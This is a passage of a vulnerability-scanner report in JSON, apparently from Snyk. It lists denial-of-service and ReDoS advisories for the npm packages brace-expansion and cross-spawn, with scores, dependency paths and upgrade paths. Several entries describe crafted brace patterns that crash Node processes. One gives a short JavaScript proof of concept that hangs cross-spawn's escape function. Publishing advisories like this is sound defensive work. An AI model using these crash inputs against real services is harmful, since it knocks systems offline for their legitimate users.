"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
